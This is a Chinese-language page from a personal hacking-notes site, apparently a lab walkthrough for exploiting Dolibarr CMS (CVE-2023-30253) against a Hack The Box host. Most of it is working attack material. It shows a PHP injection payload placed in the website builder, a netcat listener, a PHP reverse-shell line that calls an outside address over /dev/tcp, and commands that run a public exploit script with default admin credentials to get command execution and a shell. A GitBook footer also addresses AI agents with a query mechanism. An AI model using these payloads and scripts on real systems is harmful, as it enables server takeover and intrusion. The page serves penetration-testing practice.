> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/cms/dolibarr-cms-exploitation.md).

# Dolibarr

<figure><img src="/files/d5f4aeef765a2798d5f0de93a99859095c9ffe3c" alt=""><figcaption></figcaption></figure>

**未经认证的登录：** 使用随机凭据尝试登录会打开管理员会话，但没有权限。

<figure><img src="/files/5e34f83a91483d4f5a012c443ad09cbf49452567" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="/files/7bca7f42441c25f8200de241e9b670d4f90c4628" alt=""><figcaption></figcaption></figure>

### **手动利用**

**创建恶意站点：**

在站点创建部分，插入恶意 PHP 代码：

<figure><img src="/files/0168cf61a80c6e56c27c61ecd5974b4248585c85" alt=""><figcaption></figcaption></figure>

```php
<section id="pwned" contenteditable="true"><?PhP system("whoami"); ?></section>
```

<figure><img src="/files/bc2c632a306a222d4b681d971f4e092cb03b5483" alt=""><figcaption></figcaption></figure>

确认命令执行。

<figure><img src="/files/e3ff2f28b3613959924d33d98cbbc65fef4af1df" alt=""><figcaption></figcaption></figure>

**反向 shell：**

启动监听器：

```bash
nc -nvlp 443
```

PHP 反向 shell 代码：

```php
<?phP
system($_GET['bash -c "bash -i >%26 /dev/tcp/10.10.14.47/443 0>%261"']);
?>
```

<figure><img src="/files/24594d409c0702ae8a42b4c24d9ccdd5523c2ae4" alt=""><figcaption></figcaption></figure>

### **自动化利用**

{% embed url="<https://github.com/Rubikcuv5/cve-2023-30253>" %}

**安装依赖项：**

```bash
pip3 install -r requirements.txt 
```

**运行脚本：**

命令测试（whoami）

```bash
python3 exploit.py --url http://crm.board.htb -u admin -p admin -c whoami
```

<figure><img src="/files/cb5dda034d81072600bdde5b2471fc5ff809f1b4" alt=""><figcaption></figcaption></figure>

#### 反向 shell

```bash
python3 exploit.py --url http://crm.board.htb -u admin -p admin -r 10.10.14.47 443
```

<figure><img src="/files/bd13a2e2313013bd9da74b53c7e9d9bf2a06e8b8" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/zh/cms/dolibarr-cms-exploitation.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
